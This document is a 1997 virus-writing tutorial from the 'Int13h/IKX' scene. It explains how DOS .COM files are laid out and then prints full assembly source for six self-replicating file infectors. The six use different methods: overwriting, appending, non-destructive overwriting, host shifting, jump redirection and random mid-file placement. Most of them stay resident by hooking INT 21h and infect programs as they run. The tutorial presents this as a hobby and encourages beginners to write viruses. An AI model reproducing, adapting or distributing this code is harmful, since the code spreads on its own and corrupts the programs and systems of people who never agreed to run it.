Ŀ Six ways for infect a COM Int13h/IKX SIX WAYS FOR INFECT A COM Written by Int13h Paraguay 1997 - South America INTRODUCTION Welcome! The plane has already turned on the turbines and now the maneuvering is being started for taking off and contaminate the air. Myself, Int13h, will be your pilot during this little travel to the country of an only one segment called .COM application. When you'll descend of this ephemeral flight, you'll feel prepared for code .COM infectors by using diverse methods, or at least you'll have a much more clear view. I assume that the reader has enough knowledge of assembly and some experience in virus coding :). The example viruses included in this tutorial are coded in the simplest way that i could made, sacrificing speed and efficiency in some cases. Till the NOPs are commented :), they are naked of stealth, tunneling, and a lot of essential features for an actual virus. For example, in the case of Hernani, the virus goes resident with a 64KB buffer! This is a lot of memory, and it's more logical to allocate temporally the free D.O.S. memory, for liberate it after infection, but this will make it harder and some readers will run away ;) The viruses aren't also coded for infect read-only files, and for redirect the critical error handler. The example codes of this tutorial were compiled, tested and approved with the Turbo Assembler 4.0 y el TLINK 6.10 of Borland International. After made the explanations, we start the take off. Tight your belts! COM structure One of the easiest structures of a D.O.S. executable program is the .COM's one. This kind of files has an only 64 kilobytes segment, and into this only segment happily live code, data and stack. In a .COM: CS=DS=SS=ES. All in one This kind of programs, just as the opposite of .EXEs, hasn't header, they are the exact copy of that will be in memory, what we'll see in the .COM will be the same that the memory content when we execute it (this can be easily checked with DEBUG). When a COM program is executed, the D.O.S. builds a PSP (Program Segment Prefix) starting at offset 0 of the free segment, and the PSP occupies 256 bytes (0x100). Just after the PSP goes the .COM image, that is read from the file. Because this fact, the .COMs are org 100h because the PSP goes before. We have that a COM can occupy 64KB, including its PSP and space for stack. Doesn't matter that our .COM has only 200 bytes, the D.O.S will assign it a whole 64KB segment. If the COM has 200 bytes, added to the 256 of the PSP, whe have that it can only occupy in memory 456 bytes. What happens with the rest of segments? This part is called heap. We can use it as a buffer for everything that we want, for example for the DTA in the runtime infectors, o for the read of MBR in the multipartite viruses, or in what you can imagine. Let's imagine that we have a file of 3KB in the disk: 0 100h 3KB PSP .COM code This is the heap for friends :) PSP Structure PSP=Program Segment Prefix. This is a control structure that D.O.S. builds when it's going to execute a program. It is very important, and it has some fields that i'm going to describe: Offset Field Dec Hex Length Description 1 0 0 2 INT 20h 2 2 2 2 Memory size 3 4 4 1 Reserved 4 5 5 5 Call to the dispatcher 5 10 A 4 INT 22h vector 6 14 E 4 INT 23h vector 7 18 12 4 INT 24h vector 8 22 16 22 Area used by DOS 9 44 2C 2 Segment of enviroment variables 10 46 2E 34 DOS work zone 11 80 50 3 Instructions INT 21h, RETF 12 83 53 2 Reserved 13 85 55 7 Extension of FCB N 1 14 92 5C 9 FCB N 1 15 101 65 7 Extension of FCB N 2 16 108 6C 20 FCB N 2 17 128 80 1 Command line length 18 129 81 127 Command line 19 128 80 128 DTA We will see only some fields that are useful for the codes of this tutorial. The INT 20h that is at the beginning is used for jump there with a simple RET, and return control to DOS, because the stack always has in the stack a word pointing to CS:0000. About the fields 13,14,15 and 16, the DOS builds these FCBs since the first pair of parameters, so the program that needs them can open them. With the manipulation via handles, the use of FCBs became obsolete, in the Hernani virus we will see a better use of this place. Variables and Jumps The variables are stored using an absolute address, the jumps are relatives to the actual IP. Let's clarify it with a simple example: 0100 EB07 JMP 109 ; EB opcode of jmp short. EB07 jumps to the 7 byte 0103 90 NOP ; counting since the end of the JMP, this can be 0104 90 NOP ; interpreted in other ways, but it always gives 0105 90 NOP ; the same result 0106 90 NOP 0107 90 NOP 0108 90 NOP 0109 90 NOP Said in another form, the jumps (JMP) and the calls (CALL) doesn't suffer the problems with the moving of offsets, they will always jump x bytes before or x bytes after its actual position. But the variables are stored in the absolute address form. Let's see a little example: model tiny code org 100h Fool: in ax,40h mov word ptr [number],ax int 20h number dw 0 End Fool This easy little program can be compiled in this way: 0100 E540 IN AX,40 0102 A330701 MOV [107],AX 0105 CD20 INT 20 0107 0000 ADD [BX+SI],AL As it can be seen, the word type variable occupies the absolute addresses 107h and 108h when it will be in memory. The addres goes directly written in the instruction (A330->0701<-). 0701=0107 because the Intel reverse storing. What's the interest of all this? When we write our virus, and we append it, all our variables are bad addressed, so if we has in our virus: mov word ptr [number],ax ; A3300701 When we receive the contol at this point, and save the AX content in the offset 107h and 108h overwriting code of our host. Then all is screwed, the virus writing is impossible... hey, a moment! and... what about if we do this?... yes, it works! What we needed is to obtain a delta offset for address all our variables, obtain a shifting, that added to the absolute value of our variable, will point directly to it. I feel like i am now going on and on more that a Gongora problem, but it doesn't matter, let's continue =) For obtain the delta offset we have some methods, and this is the more common Call Delta Delta: pop bp sub bp,offset Delta The CALL leaves us in the stack the addres of the next instruction that is going to be executed when the RET will come. What we do is to load this value in BP, and after substract the offset of the subroutine, and in this way we have our master delta offset, and with it we can reference all our variables. In the first execution of the virus, the value of BP can be 0, and in a parasited host this will change. We can use whatever of the index register that we want, by using the indirect addressing (BX,SI,DI or BP). Then, with our master offset, instead of mov word ptr [number],ax mov si,offset Buffer we will use mov word ptr [bp+number],ax lea si,[bp+offset Buffer] And we all happy. The assembler compile all the .COM files calculating all the offset of the variables with base 100h, because PSP, of course. Another way for obtain the delta offset is: mov bp,sp ; Get delta offset int 12h ; A random int Delta:mov bp,word ptr SS:[bp-06] sub bp,offset Delta InFeCtIoN mEtHoDs (All the ways lead us to the virus :) Well, all the above will have been a truis for a lot of people, but not for all ;) Because the simplycity of the .COMs, diverse methods were developed by the virus coders for do its infection. In this little tutorial we will see, with a lot of details and examples, six of these methods. Each one have its oddities, its little troubles and its solutions :) Let's begin then. 1.) Overwriting I ingnore the reason because this rough method is included here, but i suspect it's for fill space :-) This is the lamest technique of all, it consists in the simply overwriting of the beginning of the host with the virus code, and when the host is executed, the virus takes the control, and as it hasn't saved the overwrited place of the host, it won't be able to return the control to it (the host). As it's at the beginning of the host, it doesn't need to calculate the delta offset because its variables are placed always at the same offset on they were compiled. This way of infection hurt the filesthat it infects, and it's very evident that there is going something wrong in our system. Arrrgh! Got antivirus. Here is a little diagram of the "strategy" of this kind of virus: INFECTION DIAGRAM BEFORE AFTER Ŀ Ŀ Program Infection VIRUSam Below the example virus. 8< [BEGIN] >8 Comment % Name : Lamah Method: Overwriting Descr.: Overwriting direct action COM infector tasm lamah.asm /m3 tlink lamah.obj /t % Lamah Segment Assume cs:Lamah,ds:Lamah,ss:Lamah,es:Lamah Org 100h Longitud equ offset Heap-100h LameVir:mov ah,4eh xor cx,cx mov dx,offset Victimas ; Looks for the first .COM int 21h jnc TestarMM Restaurar: mov ah,9 mov dx,offset Broma ; Print a text int 21h xor ax,ax ; And exit to dos int 21h TestarMM: mov si,9eh ; There begins the name of the file mov dx,si cmp word ptr [si+2],"MM"; coMMand.com? je Siguiente mov ax,3d02h ; Open it int 21h xchg bx,ax ; bx=handle mov ah,3fh mov cx,2 ; We read 2 bytes mov dx,offset Es_Lamer int 21h mov ax,word ptr [Es_Lamer] cmp ax,'ZM' ; Is .EXE? je Siguiente cmp ax,04eb4h ; Is it infected je Siguiente mov ax,4200h ; Set pointer to the beginning of the file xor cx,cx xor dx,dx int 21h mov ax,5700h ; Save date and time int 21h ; in stack push cx push dx mov cx,Longitud ; Suriv size mov dx,100h ; Virus start mov ah,40h ; Write over file int 21h mov ax,5701h ; Restore date and time pop dx pop cx int 21h Siguiente: mov ah,3eh ; Close int 21h mov ah,4fh ; Search next .COM int 21h jnc TestarMM jmp Restaurar ; The author was afraid about signing, anonimous virus ;) db ']-LAMAH VIRUS-[' Victimas db '*.com',0 Broma db 0dh,0ah,' WARNING! Lazy opcode 90h was found.' db ' Consult Apocalipsis segment 8, offset 7.',0dh,0ah,024h Heap: Es_Lamer dw 0 ; For read a pair of bytes Lamah Ends End LameVir 8< [END] >8 2.) Appending The viric code is placed at the end of the host, and in the beginning of the host we write a jump that point to the virus. In this way, firstly receives the control the self-replicating code, that, at the same time, infects other programs or goes to memory, and after it restores the first 3 original bytes of the host to the beginning (in memory!), and then it jumps to the 100h addres, and the guest receives the control and it doesn't note anything. INFECTION DIAGRAM BEFORE AFTER Ŀ Ŀ Program Infection rogramVIRUSP  original host bytes Jump to the virus 8< [BEGIN] >8 Comment % Name : Macondo Method: Added to the end Descr.: Infects on execution, resident in Interrupt Vector Table (IVT) % Model Tiny Code Org 100h VirusSize = (offset Fin-offset Inicio) Inicio: call Delta Delta: pop bp sub bp,offset Delta cld xor bx,bx ; BX=0 mov es,bx ; ES=segment 0 cmp word ptr es:[0204h],0ed81h je YaEnMemoria ; Macondo already in memory? mov ax,3521h ; Ask for INT 21h handler int 21h mov [bp+word ptr ViejaINT21h+2],es mov [bp+word ptr ViejaINT21h],bx xor bx,bx ; We will live in the Interrupt Vector mov es,bx ; Bable, at segment 0 mov di,0200h ; since offset 200h lea si,[bp+offset Inicio] mov cx,VirusSize ; Copy ourselves to IVT rep movsb push es pop ds ; DS=ES=0 ; As we will live in 200h, we will add 100h for make the variables point ; to the right place, because they are calculated as 100h as it's a .COM mov dx,(offset Viral21Handler+100h) mov ax,2521h ; We take INT 21h int 21h YaEnMemoria: push cs cs pop ds es lea si,[bp+offset Originales] mov di,100h ; Restore the original bytes push di ; We bring 100h to the stack movsw movsw xor bp,bp xor di,di xor cx,cx xor si,si ; We clear the registers xor ax,ax xor bx,bx xor dx,dx ret Viral21Handler: cmp ah,04bh ; Execution? je VerificarFile INTDOS: db 0eah ViejaINT21h dw 0,0 AlPrincipio: mov ax,04200h ; Pointer to the beginning of the file jmp short Arrastrarlo AlFinal:mov ax,04202h ; Pointer to the end of the file Arrastrarlo: sub cx,cx cwd ; xor dx,dx / sub dx,dx int 21h ret VerificarFile: push ax bx cx dx si di ds es mov ax,3d02h ; Open fichero int 21h jc Popear ; If there was a program we cancel xchg bx,ax ; Billy "Puertas" (Gates) coded the DOS... push cs cs pop ds es mov dx,(offset Originales+0100h) mov ah,03fh ; Read the first 4 bytes mov cx,4 int 21h mov si,dx mov ax,[si] add ah,al cmp ah,167 ; MZ? ZM? It can be a misnamed .EXE je Cerrar cmp byte ptr [si+3],'' ; Ipor nde marker! je Cerrar ; Already infected? call AlFinal ; Move pointer to EOF cmp ax,60666d ; It can't be too big jnb Cerrar cmp ax,666d ; It can't be too short... Lucifer rules >:) jbe Cerrar sub ax,3 ; Build the JMP to the virus mov word ptr [(Salto+0100h)+1],ax mov dx,200h ; Init of the virus in memory mov ah,40h ; We write to the end of the host mov cx,VirusSize int 21h call AlPrincipio ; We go to the beginning mov ah,40h mov dx,(offset Salto+100h) mov cx,4 ; We write the jump int 21h Cerrar: mov ah,3eh ; Close the file int 21h Popear: pop es ds di si dx cx bx ax jmp INTDOS ; Jumpt to the old handler Originales db 090h,090h,0cdh,020h Nombre db '  MACONDO  by Int13h ' Salto db 0e9h,00h,00h,'' Fin: End Inicio 8< [END] >8 3.) Non-Destructive overwriting That a virus of this kind must do is to copy to the end of the file the x bytes that are at the beginning, where x represents the size of the virus. After this, we overwrite the host with itself. For restore the control we need to copy to the beginning all the bytes of the host that we had stored at the end. There we have a little problem. Let's imagine what we do for return to its original location what we moved of the host. 0100 mov si,offset Codigo_del_Hoste 0103 mov di,100h 0106 mov cx,longitud_del_virus 0109 rep movsb While we are executing this, we will move the original part over 100h, but we will overwrite all the code that is doing the shifting and all what goes after it, the code that will jump to 100h. Whatta problem, but there are always solutions. Do you remember the heap? It's the not used part by the .COM, what we can do is to infect the files that haven't size over 62000 bytes, and write over this zone the code for make the shifting, clear the registers and jump to 100h for return the control. Another memory zone that we can use is the offset 6ch of the PSP, that is the FCB N2, anyway any program i know use this zone. Ussually, the programs that use the old FCB methos have inside them special memory zones for that, and don't use the easiness of PSP. But this is another history. We don't need to calculate the delta offset because the infector code is in the beginning. INFECTION DIAGRAM BEFORE AFTER Ŀ Ŀ Program Infection VIRUSamProgr 8< [BEGIN] >8 Comment % Name : Lancelot Method: Non-destructive overwriting Descr.: Infect .COMs and marks infection in the second field. Resident with INT 27h. Copies its loader in the heap % model tiny code org 100h jumps Longitud = (offset Fin1-offset Inicio) Inicio: mov ax,3521h ; Ask for INT 21h handler int 21h cmp bx,offset Handler_21h ; Look if the offset is equal je Ya_en_Memoria ; Already installed mov word ptr [Vieja21h],bx ; Save this information mov word ptr [Vieja21h+2],es ; in our variables mov ax,2521h ; Hook INT 21h mov dx,offset Handler_21h int 21h mov ax,cs:[02ch] ; Environment Segment mov es,ax mov ah,49h ; Free segment int 21h mov dx,offset Fin2+1 ; Leave resident this amount int 27h ; Control isn't returned Ya_en_Memoria: push cs ; Fix segments pop es mov si,offset Copier ; Move the little code to heap mov di,64666 ; into this offset mov ax,di ; Save the address for jump movsw ; Copy... movsw ; Sure, of course i know movsw ; mov cx,5 movsw ; rep movsw! movsw ; But in this way is more readable :P movsb db 0beh ; mov si,xx xx Originales dw ? ; File end (Original data) mov di,100h ; 100h, COM entry point add si,di ; 100h, because PSP push di ; Put it in stack mov cx,Longitud ; What to move xor bx,bx ; Clear bx xor dx,dx ; Clear dx jmp ax ; Jump to code (in heap) Copier: repe movsb ; Made the copy xor si,si ; Clear si xor di,di ; Clear di xor ax,ax ; Clear ax xor cx,cx ; Clear cx ret ; Execute host! VirusName db " [Sir LANCELOT du Lake Virus]" db " (c) Programmed by Sir INT13H du Madness" db " Kingdom of Paraguay " Handler_21h: cmp ax,04b00h ; Execution? je Infectar Do_It: db 0eah ; Far jump to old handler Vieja21h dd ? ; old handler Infectar: push ax bx cx dx si di es ds ; Save all mov ax,3d02h ; Open DS:DX for read/write int 21h jc Popear ; Fux! xchg bx,ax ; Handle in bx mov ax,5700h ; Take date int 21h mov word ptr cs:[Fecha],dx ; Put in a variable date mov word ptr cs:[Hora],cx ; Put in a variable hour and cl,00011111b cmp cl,00011110b ; 60 seconds? je Cerrar ; Already infected! push cs cs ; Fix segments pop ds es mov ah,3fh ; Read beginning of the file mov cx,Longitud ; in our buffer mov dx,offset Buffer int 21h mov si,dx mov ax,[si] ; for comparison add ah,al cmp ah,167d ; MZ, ZM, etc. je Cerrar mov ax,4202h ; Pointer to the end xor cx,cx cwd int 21h and dx,dx ; More that one segment? jnz Cerrar cmp ax,63000d ; Not too big ja Cerrar cmp ax,666 ; Not too small jbe Cerrar mov word ptr [Originales],ax ; Save EOF mov ah,40h mov dx,offset Buffer ; Write the data at end mov cx,Longitud int 21h mov ax,4200h sub cx,cx ; Move pointer to the beginning cwd int 21h mov ah,40h mov dx,100h ; Write virus mov cx,Longitud int 21h mov ax,5701h db 0bah Fecha dw 0 ; Return date and hour db 0b9h Hora dw 0 and cl,11100000b ; Mark as infected putting or cl,00011110b ; 62 in the seconds field int 21h Cerrar: mov ah,3eh ; Close file int 21h Popear: pop ds es di si dx cx bx ax ; Restore registers jmp Do_It ; Execute original INT 21h Fin1: Buffer db (Longitud-2) dup (090h) int 20h ; For the first execution Fin2: ; end in memory End Inicio 8< [FIN] >8 4.) Shifting method Consists in write completly at the beginning the virus code and after this the host. The elder virus Jerusalen does this. We need a 64K buffer, write there the viric code and after this the host. As i said, this of have a fixed buffer of 64K isn't the best idea, it's better to allocate more memory use it and free it after finishing the dirty work :) For restore the control we must move completly the code (always in memory!) from the host to 100h, and it can use the same considerations that the last method, at the problem of overwriting the code that is doing the move. This kind of infectors doesn't need delta offset. INFECTION DIAGRAM BEFORE AFTER Ŀ Ŀ Program Infection VIRUSProgram 8< [BEGIN] >8 Comment % Name : Virus Hernani Method: Host shifting Descr.: Resident by using the function 31h of INT 21h, infects on execution marks files with the value of 62 in the second field. Saves 64 kilobytes of memory, that are used as buffer for the host reading just after the virus. For restore the control it copies the restore code to the offset 6ch of PSP, that it's the FCB N2 % model tiny code org 100h Hernani:mov ax,3521h ; We ask for vector of the Int 21h int 21h cmp bx,offset Handler_21h ; Hernani already installed? je Ya_en_Memoria mov word ptr [Vieja21h],bx ; Save the handler's offset mov word ptr [Vieja21h+2],es ; and the segment mov ax,2521h ; Redirect the INT mov dx,offset Handler_21h int 21h mov ax,cs:[02ch] ; Environment Segment mov es,ax mov ah,49h ; Free segment int 21h mov ax,3100h ; Terminate and stay resident mov dx,1000h ; with a 64KB buffer! int 21h ; It doesn't return the control Ya_en_Memoria: push cs ; Correct our Extra Segment pop es mov si,offset Copier ; Move the copier to PSP mov di,06ch ; offset 06Ch, over the FCB N 2 mov ax,di ; Offset that we're going to jump mov cx,5 repe movsw ; Move the return code movsb mov si,offset FinVirus ; Point to the original host mov di,100h ; 100h, entry point of COM push di ; 100h to the stack db 0b9h ; mov cx,xx xx Originales dw ? ; Original guest size xor bx,bx ; Clear the xor dx,dx ; registers, and after jump to the jmp ax ; loader that we moved to PSP ; This is the code that we'll move over the FCB in the PSP Copier: repe movsb ; Registers were already set-up! sub si,si ; Clear the registers xor di,di ; that we forgot to clear sub ax,ax xor cx,cx ret ; And we run the host! VirusName db " [HERNANI by Int13h] * Paraguay '97 " Handler_21h: cmp ax,04b00h ; Execution? je Infectar Do_It: db 0eah ; Far jump to the old handler Vieja21h dd ? Infectar: push ax bx cx dx si di es ds ; Save all the registers mov ax,3d02h ; Open DS:DX for read/write int 21h jc Popear ; Damn! xchg bx,ax ; Handle in bx mov ax,5700h ; Ask date/time int 21h mov word ptr cs:[Fecha],dx ; Save date mov word ptr cs:[Hora],cx ; and time and cl,00011111b ; Look infection mark cmp cl,00011110b ; 60 seconds? je Cerrar ; Already infected! push cs cs ; es=ds=cs pop ds es mov ax,4202h ; Go to the END xor cx,cx cwd int 21h and dx,dx ; Bigger than a segment? jnz Cerrar cmp ax,64000d ; Not too big ja Cerrar cmp ax,666 ; Not too small jbe Cerrar mov word ptr [Originales],ax ; Save length! mov ax,4200h ; Return to the beginning cwd sub cx,cx int 21h mov cx,word ptr [Originales] ; Read completly the file mov ah,3fh ; in our buffer, because this mov dx,offset FinVirus ; we need a big buffer int 21h ; because the com can be big mov si,dx mov ax,[si] ; For make the comparison add ah,al cmp ah,167d ; MZ, ZM, etc. je Cerrar mov ax,4200h ; Move the pointer to the beginning cwd sub cx,cx int 21h mov ah,40h ; Write in the file mov dx,100h ; Virus+Host mov cx,(offset FinVirus-offset Hernani) add cx,word ptr [Originales] int 21h mov ax,5701h db 0bah ; mov dx,xx xx Fecha dw 0 ; Restore date and time db 0b9h ; mov cx,xx xx Hora dw 0 and cl,11100000b ; Put value 62 in the seconds or cl,00011110b ; field int 21h Cerrar: mov ah,3eh ; Close file int 21h Popear: pop ds es di si dx cx bx ax ; Restore registers jmp Do_It ; And go to the old int 21h FinVirus: sub ax,ax ; Exit to DOS int 21h ; Only first execution End Hernani 8< [END] >8 5.) Jump redirection This is a little variation of the appending, but it also can be used with the mid-file infectors. As we had viewed, in the appending viruses a jump to the virus code that it's at the end is inserted. What this kind of virus does is look for existing jumps in the host and redirect them for make them point to the virus, so it has the advantage that the jump isn't always at the beginning, and the heuristics can fade it, because this jump maybe can be executed only certain conditions. Let's assume that that in the offset 20h of the host we find a E901A0, a jump that is redirected to a critical error handler. If all is going right, this jump won't be executed and the virus won't receive the control, but if sometime an error happens, the host will redirect to this jump that gives the control to the virus, and it will wake up from its letargy of centuries with a tender breeze of big dead and putrid greatness (GGM!) :) INFECTION DIAGRAM BEFORE AFTER Ŀ Ŀ Program Infection ProgramVIRUS 8< [BEGIN] >8 Comment % Name : Nostradamus Method: Jump redirectionalto Descr.: Resident vir MCB manipulation, it has a 512 bytes buffer, there it reads the host's code searching for the first jump and the first call, if it founds it, it modifies them for point to the virus and take the control temporally, and after this it restores the registers and returns the control to the original desired offset. tasm nostra /m2 tlink nostra /t % model tiny code jumps org 100h Largor equ (offset Visions-offset Nostradamus) EnMemoria equ (offset FinEnMemoria-offset Nostradamus) Parrafos1 equ ((EnMemoria+15)/16)+1 Parrafos2 equ ((EnMemoria+15)/16) BuffSize equ 512d Addme equ (offset Return_Control-offset Nostradamus) NOSTRADAMUS: pushf push ax bx cx dx si di bp es ds mov ax,'NS' ; Verify residence int 21h cmp ax,0cd13h je Nostradamus_is_Alive ; We are already sucking memory call Delta Delta: pop bp ; Take the delta offset sub bp,offset Delta mov ax,3521h int 21h ; Save int 21h handler mov cs:[bp+word ptr Vetusta21h],bx mov cs:[bp+word ptr Vetusta21h+2],es mov ax,ds dec ax ; MCB mov es,ax mov ax,es:[3] sub ax,Parrafos1 ; Make place for the virus xchg bx,ax push ds pop es mov ah,4ah ; Free int 21h mov ah,48h mov bx,Parrafos2 ; Allocate memory crazy and rash int 21h dec ax mov es,ax mov word ptr es:[1],8 ; It's tipical of Mr DOS inc ax mov es,ax ; This is our promised segment :) xor di,di push cs pop ds lea si,[bp+offset Nostradamus] mov cx,Largor rep movsb ; Settle the promised segment push es pop ds mov ax,2521h ; Hook 21h mov dx,(offset Centurias21h-100h) int 21h Nostradamus_is_Alive: pop ds es bp di si dx cx bx ax popf ; Here we jump to the original desired address Return_Control db 0e9h,0,0 int 20h ; For the 1st generation Centurias21h: cmp ax,'NS' ; Residency check? je Testeo cmp ah,04bh ; Execution? je Pudrirlo Interrupcion_21h: db 0eah Vetusta21h dw 0,0 Testeo: mov ax,0cd13h iret Homenaje db ' [NOSTRADAMUS (c) Copyright Int13h] ' db '* Made in Paraguay - South America ' Pudrirlo: push ax bx cx dx si di ds es mov ax,3d02h int 21h jc Popeo xchg bx,ax ; Wonderful DOS :) mov ax,5700h int 21h ; Ask time and date mov word ptr cs:[(Hora-100h)],cx mov word ptr cs:[(Fecha-100h)],dx and cl,00011111b cmp cl,00011110b ; 60? je Closeo push cs cs pop ds es ; ES:=CS mov ah,03fh ; Read 512 bytes to our buffer mov dx,(offset Buffer-100h) mov cx,BuffSize int 21h mov si,dx mov ax,[si] ; The first pair of bites to AX cmp al,0beh ; COMPACKed? (mov si,xxxx) je Closeo cmp al,0b8h ; PKLITEed? (mov ax,xxxx) je Closeo add ah,al cmp ah,167d ; MZ or ZM? je Closeo call PunteroFin ; Go to EOF and dx,dx ; Huge... jnz Closeo cmp ax,63000d ; Very big... ja Closeo cmp ax,666 ; Very little jbe Closeo push ax ; Save the size mov si,(offset Buffer-100h) ; Point to our buffer sub cx,cx ; Clear the counter Buscar: lodsb ; Load the byte in al cmp al,0e9h ; Is (e9 xx xx) je Hallado ; Jump found! cmp al,0e8h ; Is un (e8 xx xx) je Hallado ; Call found! inc cx ; Continue searching... cmp cx,Buffsize ; Had our buffer finished? jbe Buscar ; Repeat if not yet jmp short Closeo ; We didn't find anything, we don't infect Hallado:mov dx,[si] ; Number of bytes to jump add dx,cx ; Add the offset of the JMP/CALL to DX pop ax ; Get the file size push ax ; And put it in stack again sub ax,dx ; EOF - DX add ax,Addme ; (Return_Control-Virus beginning) neg ax ; NEG it! Because it'll always go backwards mov di,(offset Return_Control-100h)+1 stosw ; Write the calculated offset pop ax ; We decrease the size again sub ax,cx ; SUB offset where we found the JMP/CALL sub ax,3 ; Things of JMP/CALL :) mov di,si ; SI=DI stosw ; Point to virus (EOF) call PunteroInicio ; Move the pointer to the beginning mov ah,40h ; Write to the file the modified buffer mov dx,(offset Buffer-100h) mov cx,BuffSize int 21h call PunteroFin ; Go to EOF mov ah,40h xor dx,dx ; Add virus... mov cx,Largor int 21h mov cx,word ptr cs:[(Hora-100h)] and cl,11100000b or cl,00011110b ; 30*2=60! mov dx,word ptr cs:[(Fecha-100h)] mov ax,5701h ; Restore date and time, marked seconds int 21h Closeo: mov ah,3eh ; Let's end int 21h Popeo: pop es ds di si dx cx bx ax jmp Interrupcion_21h PunteroInicio: mov ax,04200h ; BOF jmp short Mover PunteroFin: mov ax,04202h ; EOF Mover: xor cx,cx cwd int 21h ret db " Michel de Nostredame * 1503 - 1566 ",13,10 db " There's still time to understand his words " Visions: Hora dw 0 ; La hora del hoste Fecha dw 0 ; La fecha del anfitrin Buffer db BuffSize dup (0) ; Nostradamus's buffer FinEnMemoria: End Nostradamus 8< [END] >8 6.) Random location I love this kind of virus. It's places in any offset of the guest and receives the control by using a jump. It can be also called mid-file infection. The easiest way is to obtain randomly an offset between 3 and the (size of host-size of virus) and pleace it there, and after that write a jump at the beginning of the host that gives the control to the virus. This is the easiest way, but there are another better methods. The Literatura Virus builds a polymorphic header that gives the control to the virus anywhere it is. The Commander Bomber Virus of Dark Avenger builds little islands of polymorphic jumps and places them over the host, and the intention of this little islands of code is go passing the control until arrive to the virus code. I can say that the master Dark Avenger [CrazySoft] was the first one in use this method, as he was pioneer in another areas of virus coding. This guy is everywhere (zdravei!). INFECTION DIAGRAM BEFORE AFTER Ŀ Ŀ Program Infection ProgVIRUSram Jump to the virus 8< [BEGIN] >8 Comment % Name : Quijote Method: Random placing Descr.: It's placed in a random offset of the host, the infection mark in the seconds field, resident via MCB. Uses a random number generator. % Model Tiny Code Org 100h Jumps Heap equ (offset Final-offset Omega) Largor equ (offset Omega-offset Quijote) Parrafos equ ((Largor+Heap+15)/16)+1 QUIJOTE:call Sancho_Delta Sancho_Delta: pop bp sub bp,offset Sancho_Delta mov ax,'QJ' int 21h cmp ax,0cd13h je QuijoteIsAlreadySuckingMemory mov ax,3521h int 21h mov cs:[bp+word ptr Vieja21h],bx mov cs:[bp+word ptr Vieja21h+2],es mov ax,ds ; DS points to PSP dec ax ; Substract a paragraph mov ds,ax ; and we have the MCB cmp byte ptr ds:[0],'Z' ; Z Block? jne Quijoteisalreadysuckingmemory sub word ptr ds:[3],Parrafos ; Free memory for the virus sub word ptr ds:[12h],Parrafos ; We also modify in the PSP mov ax,word ptr ds:[12h] ; the segment where load us mov es,ax push cs pop ds lea si,[bp+offset Quijote] xor di,di mov cx,Largor ; Copy rep movsb push es pop ds mov ax,2521h ; Hook the 21h mov dx,(offset Quijote21h-100h) int 21h QuijoteIsAlreadySuckingMemory: push cs cs pop ds es lea si,[bp+offset Primitivos] mov di,100h push di ; Fix the 3 bytes of 100h and push it cld movsw movsb lea si,[bp+offset Copier] ; Move the loader over the PSP mov di,06ch ; offset 06Ch, over the FCB N 2 mov ax,di ; Push this offset for jump later mov cx,5 repe movsw ; Copy all the words of the code movsb ; and the lagged behind byte :) mov cx,Largor ; Sucker's size db 0beh ; Where the original bytes will be Origen dw 0 add si,100h ; Because the PSP db 0bfh ; Original bytes at this location Destino dw 0 add di,100h ; We have always to have an account in PSP xor bx,bx xor dx,dx ; Clear the registers that we won't use jmp ax ; And jump to the code sent to the PSP Copier: repe movsb ; Make the copy xor si,si ; Clear si xor di,di ; Clear di xor ax,ax ; Clear ax xor cx,cx ; Clear cx ret ; Execute host! Quijote21h: cmp ax,'QJ' ; Is Don Quijote de la Mancha alive? je Chequeo cmp ah,04bh ; Execution? je InfectFile Interrupcion_21h: db 0eah Vieja21h dw 0,0 ret Chequeo:mov ax,0cd13h iret Brinco db 0e9h,00h,00h Primitivos db 090h,0cdh,020h InfectFile: push ax bx cx dx si di ds es mov ax,3d02h int 21h ; Open victim jc Popeo xchg bx,ax mov ax,5700h int 21h mov word ptr cs:[(Hora-100h)],cx mov word ptr cs:[(Fecha-100h)],dx and cl,00011111b cmp cl,00011110b ; 30*2= 60? je Closeo push cs cs pop ds es mov ah,03fh mov dx,(offset Primitivos-100h) mov cx,3 ; Read the first 3 bytes int 21h mov si,dx mov ax,[si] add ah,al cmp ah,167d je Closeo in ax,40h ; Read port 40h mov word ptr [Semilla-100h],ax ; Get the seed call PunteroFin and dx,dx jnz Closeo cmp ax,60000d ; Big... ja Closeo cmp ax,2000d ; Tiny... jbe Closeo push bx ; Save our file handle mov bx,ax sub bx,Largor ; substract virus' size mov dx,132 ; Ask for our random offset mov ax,word ptr [Semilla-100h] mul dx add ax,1000 mov di,6666 adc dx,0 div di mov ax,dx mul bx div di cmp ax,3 jae Okis ; Higher than 3 please mov ax,666 Okis: mov word ptr [Semilla-100h],ax sub ax,3 mov word ptr [Brinco-100h+1],ax add ax,3 pop bx ; Restore the handle mov dx,ax push dx mov word ptr [Destino-100h],dx ; Save position of later restore xor cx,cx ; We go to the selected offset mov ax,4200h int 21h mov ah,3fh mov dx,offset Buffer-100h mov cx,Largor ; Read our buffer in that portion int 21h call PunteroFin ; Go to the end mov word ptr [Origen-100h],ax ; Save position for restore mov ah,40h mov cx,Largor mov dx,offset Buffer-100h ; Write at the end the portion int 21h ; that we are going to overwrite pop dx ; Offset where place the virus xor cx,cx mov ax,4200h int 21h mov ah,40h xor dx,dx mov cx,Largor ; Put the virus in the randomly int 21h ; selected offset call PunteroInicio ; Pointer at the beginning mov ah,40h mov cx,3 mov dx,(offset Brinco-100h) ; Write the jump to the virus int 21h db 0b9h ; mov cx, xx xx Hora dw 0 ; Restore time and date and cl,11100000b or cl,00011110b ; 30*2=60! db 0bah ; mov dx, xx xx Fecha dw 0 mov ax,5701h int 21h Closeo: mov ah,3eh ; Close victim int 21h Popeo: pop es ds di si dx cx bx ax jmp Interrupcion_21h PunteroInicio: mov ax,04200h jmp short Mover PunteroFin: mov ax,04202h Mover: xor cx,cx cwd int 21h ret db " [QUIJOTE Virus by Int13h] " Omega: Semilla dw 0 Buffer db Largor dup(0) Final label byte End Quijote 8< [END] >8 Final Words Uhhh!! At least we arrived at the end and i see the blessed CHR(26) get closer. This file was uncomplete for more than a year and a half at my hard disk, i had it there and i didn't want to finish it. I had thought make it more detailed and deep, but i have lost the urge. Because this i hardly added some more words, i checked it superficially and i'm launching it now. Nowadays the .COM are being forgotten, but there's always people that is beginning to be interested in viruses, and it's to them and for them that i've written this lines. If you have any comment of all this, you can write me to the following address: int13h@antisocial.com Greetings to all life creators of the Milky Way and a special thank to whoever that has taken the trouble of translate this file to english. [* It's me! ;) - BB *] Int13h/IKX